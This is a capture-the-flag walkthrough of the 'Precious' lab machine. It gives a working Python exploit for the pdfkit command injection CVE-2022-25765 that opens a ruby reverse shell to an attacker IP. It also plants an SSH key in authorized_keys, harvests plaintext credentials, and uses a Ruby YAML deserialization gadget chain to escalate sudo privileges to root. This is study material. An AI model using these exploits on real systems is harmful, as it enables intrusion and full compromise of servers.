Category: Machines
Difficulty: Easy
Description: -
Enumeration
First of all I started with a basic nmap enumeration to discover which ports are open:
$ sudo nmap 10.10.11.189 -sS -p- -n -Pn --disable-arp-ping -oA quick_full_scan
Starting Nmap 7.93 ( https://nmap.org ) at 2023-01-19 15:28 CET
Nmap scan report for 10.10.11.189
Host is up (0.060s latency).
Not shown: 65533 closed tcp ports (reset)
PORT STATE SERVICE
22/tcp open ssh
80/tcp open http
Nmap done: 1 IP address (1 host up) scanned in 19.47 seconds
It cames out that the target has a webserver running on port 80.
Web Footprinting
If we try to reach it through the browser, we will be redirected to its domain: precious.htb
. So before going on let’s add this to the /etc/hosts
file. After doing that if we visit the site this is what we will find:
The HTML code doesn’t contains anything new:
<!DOCTYPE html>
<html>
<head>
<title>Convert Web Page to PDF</title>
<link rel="stylesheet" href="stylesheets/style.css">
</head>
<body>
<div class="wrapper">
<h1 class="title">Convert Web Page to PDF</h1>
<form action="/" method="post">
<p>Enter URL to fetch</p><br>
<input type="text" name="url" value="">
<input type="submit" value="Submit">
</form>
<h2 class="msg"></h2>
</div>
</body>
</html>
Furthermore the site doesn’t make use of any cookies, and a common gobuster scan doesn’t find any additional page:
$ gobuster dir -u http://precious.htb/ -w /usr/share/seclists/Discovery/Web-Content/common.txt
===============================================================
Gobuster v3.4
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url: http://precious.htb/
[+] Method: GET
[+] Threads: 10
[+] Wordlist: /usr/share/seclists/Discovery/Web-Content/common.txt
[+] Negative Status codes: 404
[+] User Agent: gobuster/3.4
[+] Timeout: 10s
===============================================================
2023/01/19 15:45:37 Starting gobuster in directory enumeration mode
===============================================================
===============================================================
2023/01/19 15:46:11 Finished
===============================================================
Ok, so let’s try to scan the site and see if we can find the name of some technology:
$ whatweb http://precious.htb/
http://precious.htb/ [200 OK] Country[RESERVED][ZZ], HTML5, HTTPServer[nginx/1.18.0 + Phusion Passenger(R) 6.0.15], IP[10.10.11.189], Ruby-on-Rails, Title[Convert Web Page to PDF], UncommonHeaders[x-content-type-options], X-Frame-Options[SAMEORIGIN], X-Powered-By[Phusion Passenger(R) 6.0.15], X-XSS-Protection[1; mode=block], nginx[1.18.0]
From the output of the command above we can see that the server is using Ruby-on-Rails, which is is server-side web application framework written in ruby.
Ok, now it’s time to try using this site. To do so we can create a local webserver listening on the port 8080 with the command python3 -m http.server 8080
. After that, if we try to submit as url our ip address, we receive the pdf:
Nothing special. We can use a tool called exiftool
to analyze the metadata of the file:
$ exiftool r97u34hw5j14p2rfbwvwqgstmefcbm7r.pdf
ExifTool Version Number : 12.52
File Name : r97u34hw5j14p2rfbwvwqgstmefcbm7r.pdf
Directory : .
File Size : 11 kB
File Modification Date/Time : 2023:01:19 16:48:32+01:00
File Access Date/Time : 2023:01:19 16:48:32+01:00
File Inode Change Date/Time : 2023:01:19 16:48:32+01:00
File Permissions : -rw-r--r--
File Type : PDF
File Type Extension : pdf
MIME Type : application/pdf
PDF Version : 1.4
Linearized : No
Page Count : 1
Creator : Generated by pdfkit v0.8.6
If we take a closer look at this output we can see in the last line that the pdf was generated using pdfkit version 0.8.6. With a quick online research I found this PoC that taks about a command injection vulnerability present in our pdfkit’s version (more precisely the CVE-2022-25765).
Foothold
Following the PoC that we found previously, we can write a simple python script that allow us to gain a reverse shell:
#!/usr/bin/env python3
import requests
import subprocess
TARGET_URL = "http://precious.htb/"
REV_SHELL_LOCAL_PORT = 9000
LOCAL_IP_ADDRESS = "10.10.16.7"
def command_injection(target_url: str, url_to_pdf: str, cmd: str) -> str:
payload = f"{url_to_pdf}?name=%20`{cmd}`"
response = requests.post(target_url, data={
"url": payload
})
return response.text
def reverse_shell(url: str, ip: str, port: int) -> None:
webserver_proc = subprocess.Popen(["python3", "-m", "http.server"], shell=False, stdout=subprocess.DEVNULL, stderr=subprocess.DEVNULL)
cmd = f"ruby -rsocket -e'spawn(\"sh\",[:in,:out,:err]=>TCPSocket.new(\"{ip}\",{port}))'"
command_injection(url, f"http://{ip}:8080/", cmd)
webserver_proc.kill()
def main():
reverse_shell(TARGET_URL, LOCAL_IP_ADDRESS, REV_SHELL_LOCAL_PORT)
if __name__ == "__main__":
main()
Pivoting Part 1
SSH Access
We spawned a shell in the victim server as the user ruby
in the directory /var/www/pdfapp
. Browsing to the home directory of the user and listing it we can see that it has a .ssh
folder. Looking inside we can see that there is the authorized_keys
file, so we can generate a new pair of public/private keys and add the public one to that file in order not to rely on the command injection vulnerability. In this way we can obtain a full working interactive shell!
So, on our local machine we can run:
$ ssh-keygen
Generating public/private rsa key pair.
Enter file in which to save the key (/home/pozzi/.ssh/id_rsa): precious
Enter passphrase (empty for no passphrase):
Enter same passphrase again:
Your identification has been saved in precious
Your public key has been saved in precious.pub
The key fingerprint is:
SHA256:oWVwmuRZREVkvZ3uERdaGYhvA2oQVo6QYS9FA8cToW8 pozzi@kali
The key's randomart image is:
+---[RSA 3072]----+
| =O%X==.. ..o|
| .+B@+. o.. + |
| o=o*.. ooo..|
| o+ + .=+ .|
| .ES ...o |
| . o |
| . . |
| . |
| |
+----[SHA256]-----+
And then we can copy and paste the content of our generated precious.pub
public key file inside the authorized_users
file of the target machine. Finally we can log in with:
$ ssh ruby@precious.htb -i ./precious
The authenticity of host 'precious.htb (10.10.11.189)' can't be established.
ED25519 key fingerprint is SHA256:1WpIxI8qwKmYSRdGtCjweUByFzcn0MSpKgv+AwWRLkU.
This key is not known by any other names.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added 'precious.htb' (ED25519) to the list of known hosts.
Linux precious 5.10.0-19-amd64 #1 SMP Debian 5.10.149-2 (2022-10-21) x86_64
The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.
Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
Last login: Thu Jan 19 12:32:36 2023 from 10.10.14.132
-bash-5.1$
Information Gathering
Let’s take a closer look at the content of the home directory of ruby:
$ ls -al ~
total 36
drwxr-xr-x 6 ruby ruby 4096 Jan 19 12:12 .
drwxr-xr-x 4 root root 4096 Oct 26 08:28 ..
lrwxrwxrwx 1 root root 9 Oct 26 07:53 .bash_history -> /dev/null
-rw-r--r-- 1 ruby ruby 220 Mar 27 2022 .bash_logout
-rw-r--r-- 1 ruby ruby 3526 Mar 27 2022 .bashrc
dr-xr-xr-x 2 root ruby 4096 Oct 26 08:28 .bundle
drwxr-xr-x 3 ruby ruby 4096 Jan 19 11:51 .cache
drwx------ 3 ruby ruby 4096 Jan 19 13:00 .gnupg
-rw-r--r-- 1 ruby ruby 807 Mar 27 2022 .profile
drwx------ 2 ruby ruby 4096 Jan 19 12:09 .ssh
We can see that there is an directory called .bundle
. Let’s see what it contains:
$ ls -al .bundle/
total 12
dr-xr-xr-x 2 root ruby 4096 Oct 26 08:28 .
drwxr-xr-x 6 ruby ruby 4096 Jan 19 12:12 ..
-r-xr-xr-x 1 root ruby 62 Sep 26 05:04 config
$ cat .bundle/config
---
BUNDLE_HTTPS://RUBYGEMS__ORG/: "henry:Q3c1AqGHtoI0aXAYFH"
Those look like account credentials! 🎉
Privilege Escalation to henry
All we need to do is just login with the credentials that we just found:
$ ssh henry@precious.htb
henry@precious.htb's password:
Linux precious 5.10.0-19-amd64 #1 SMP Debian 5.10.149-2 (2022-10-21) x86_64
The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.
Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
Last login: Thu Jan 19 12:53:27 2023 from 10.10.16.47
-bash-5.1$
Pivoting Part 2
Let’s see what the home directory of henry
contains:
$ ls -al ~
total 32
drwxr-xr-x 3 henry henry 4096 Jan 19 12:06 .
drwxr-xr-x 4 root root 4096 Oct 26 08:28 ..
lrwxrwxrwx 1 root root 9 Sep 26 05:04 .bash_history -> /dev/null
-rw-r--r-- 1 henry henry 220 Sep 26 04:40 .bash_logout
-rw-r--r-- 1 henry henry 3526 Sep 26 04:40 .bashrc
drwxr-xr-x 3 henry henry 4096 Jan 19 12:02 .local
-rw-r--r-- 1 henry henry 807 Sep 26 04:40 .profile
-rw-r----- 1 root henry 33 Jan 19 11:50 user.txt
Finally the user flag!
Now, we can take a look at what sudo actions henry is able to perform:
$ sudo -l
Matching Defaults entries for henry on precious:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin
User henry may run the following commands on precious:
(root) NOPASSWD: /usr/bin/ruby /opt/update_dependencies.rb
Interesting! We can run the command /usr/bin/ruby /opt/update_dependencies.rb
with root
privileges and without the need to supply a password. This is the content of the file /opt/update_dependencies.rb
:
# Compare installed dependencies with those specified in "dependencies.yml"
require "yaml"
require 'rubygems'
# TODO: update versions automatically
def update_gems()
end
def list_from_file
YAML.load(File.read("dependencies.yml"))
end
def list_local_gems
Gem::Specification.sort_by{ |g| [g.name.downcase, g.version] }.map{|g| [g.name, g.version.to_s]}
end
gems_file = list_from_file
gems_local = list_local_gems
gems_file.each do |file_name, file_version|
gems_local.each do |local_name, local_version|
if(file_name == local_name)
if(file_version != local_version)
puts "Installed version differs from the one specified in file: " + local_name
else
puts "Installed version is equals to the one specified in file: " + local_name
end
end
end
end
We can see that the script loads a YAML file called dependencies.yml
, but without providing a full path. After a quick research I found this article that describes how it is possible to obtain RCE from a ruby dependency file. But this is valid only for versions between 2.x and 3.0.2. Before going on let’s see what version of ruby is installed in the target machine:
$ ruby --version
ruby 2.7.4p191 (2021-07-07 revision a21a3b7d23) [x86_64-linux-gnu]
Nice, the version is vulnerable!!!
Privilege Escalation to root
Following the previous article we can craft our own dependency file:
---
- !ruby/object:Gem::Installer
i: x
- !ruby/object:Gem::SpecFetcher
i: y
- !ruby/object:Gem::Requirement
requirements:
!ruby/object:Gem::Package::TarReader
io: &1 !ruby/object:Net::BufferedIO
io: &1 !ruby/object:Gem::Package::TarReader::Entry
read: 0
header: "abc"
debug_output: &1 !ruby/object:Net::WriteAdapter
socket: &1 !ruby/object:Gem::RequestSet
sets: !ruby/object:Net::WriteAdapter
socket: !ruby/module 'Kernel'
method_id: :system
git_set: /bin/bash
method_id: :resolve
and place the command we want to execute in git_set
, and finally launch the command sudo /usr/bin/ruby /opt/update_dependencies.rb
. We can automatize everything with the following python script:
#!/usr/bin/env python3
import os
def rce(cmd: str) -> None:
depenency_file_content = f"""---
- !ruby/object:Gem::Installer
i: x
- !ruby/object:Gem::SpecFetcher
i: y
- !ruby/object:Gem::Requirement
requirements:
!ruby/object:Gem::Package::TarReader
io: &1 !ruby/object:Net::BufferedIO
io: &1 !ruby/object:Gem::Package::TarReader::Entry
read: 0
header: "abc"
debug_output: &1 !ruby/object:Net::WriteAdapter
socket: &1 !ruby/object:Gem::RequestSet
sets: !ruby/object:Net::WriteAdapter
socket: !ruby/module 'Kernel'
method_id: :system
git_set: {cmd}
method_id: :resolve"""
with open("dependencies.yml", "w") as f:
f.write(depenency_file_content)
os.execvp("sudo", ["sudo", "/usr/bin/ruby", "/opt/update_dependencies.rb"])
def escalate() -> None:
rce("/bin/bash")
def main():
escalate()
if __name__ == "__main__":
main()
In order to obtain it in the target machine we can create a local server in our local machine with the command python3 -m http.service 8080
and then download it with curl in this way: curl 'http://10.10.16.7:8080/privesc.py' -O
. Then in order to run it:
$ chmod +x privesc.py
$ ./privesc.py
[sudo] password for henry:
sh: 1: reading: not found
root@precious:/tmp/p0zz1w4rr10r# id
uid=0(root) gid=0(root) groups=0(root)